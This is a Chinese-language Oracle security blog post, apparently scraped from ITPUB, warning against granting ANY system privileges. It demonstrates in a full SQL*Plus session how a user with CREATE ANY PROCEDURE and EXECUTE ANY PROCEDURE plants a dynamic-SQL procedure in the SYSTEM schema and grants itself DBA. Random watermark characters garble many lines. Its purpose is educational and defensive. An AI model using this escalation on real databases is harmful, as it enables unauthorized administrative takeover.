Oracle推荐给用户授予权限时,给予用户可以完成操作的最小权限。应当尽量避免对用户授予包含ANY的系统权限,如SELECT ANY TABLE,CREATE ANY TABLE等。
ITPUB个人空间6Yd5I(b}2X2{这些包含ANY的系统权限很大,只应该授权给DBA用户,而不应该授权给普通用户。如果给非DBA用户授权ANY系统权限,则会使数据库处于不安全状态。
下面的例子展示了一个用户具有了CREATE ANY PROCEDURE和EXECUTE ANY PROCEDURE权限,就可以通过其他方式获取数据库中所有的权限。
SQL> create user a identified by a;
用户已创建
SQL> grant create session to a;
授权成功。
SQL> grant create any procedure, execute any procedure to a;
授权成功。
SQL> conn a/a@test4
5SGDv Z ?,S3?C c0已连接。
*?I+o Fg
V8wd-h0 SQL> select * from session_privs;
PRIVILEGEITPUB个人空间8_X
~7T?9R@Lz
----------------------------------------
,f8ha BYc:F m0CREATE SESSION
1I&ce)X6GA0CREATE ANY PROCEDURE
A5D!Bo9L0EXECUTE ANY PROCEDURE
SQL> select * from session_roles;
未选定行
SQL> create procedure system.p_execute(p_str in varchar2) as
R
_2_,l*R [g0 2 begin
;yB{(oj0P4M O9jk0 3 execute immediate p_str;
c.O)LyM0 4 end;ITPUB个人空间s+\6}+zZR
}
5 /
过程已创建。
SQL> exec system.p_execute('grant dba to a');
PL/SQL 过程已成功完成。
SQL> conn a/a@test4
)V)yI([y[0已连接。
O:x:l2Z0j2a0SQL> select * from session_privs;
PRIVILEGEITPUB个人空间1kCD8jyj
----------------------------------------ITPUB个人空间1~c-i+}G9K
ALTER SYSTEMITPUB个人空间8l1i
zf
^+Z*f Y
AUDIT SYSTEMITPUB个人空间,?[zL7Yt$Ve)T
CREATE SESSIONITPUB个人空间RWjdF`
ALTER SESSIONITPUB个人空间+]EH+NOp| }
RESTRICTED SESSIONITPUB个人空间s H*sQ;M
.ITPUB个人空间w3N2y4qpR
.ITPUB个人空间$I{f:Zvi
B2QlG0sm
.
3_i Et"Q0ALTER ANY RULE SETITPUB个人空间|"NTC-f)B
DROP ANY RULE SETITPUB个人空间m1V~ h u+B
EXECUTE ANY RULE SET
已选择140行。
SQL> select * from session_roles;
ROLEITPUB个人空间K.b3Ou2E+_[e1aF#a
------------------------------
pAR)V\;N0DBAITPUB个人空间|hB rG}{
SELECT_CATALOG_ROLEITPUB个人空间*^#c^+~Gsr,P7}!\^L
HS_ADMIN_ROLE
:a3btQ(P.Pc Ir]0EXECUTE_CATALOG_ROLEITPUB个人空间 S5]cp5w9N^(Z
DELETE_CATALOG_ROLE
[Q%NfE Q-y,l"v0y0EXP_FULL_DATABASE
gJ-Rz"U:j0IMP_FULL_DATABASE
N\&~jdX"C0GATHER_SYSTEM_STATISTICSITPUB个人空间Z&W?po
WM_ADMIN_ROLE
已选择9行。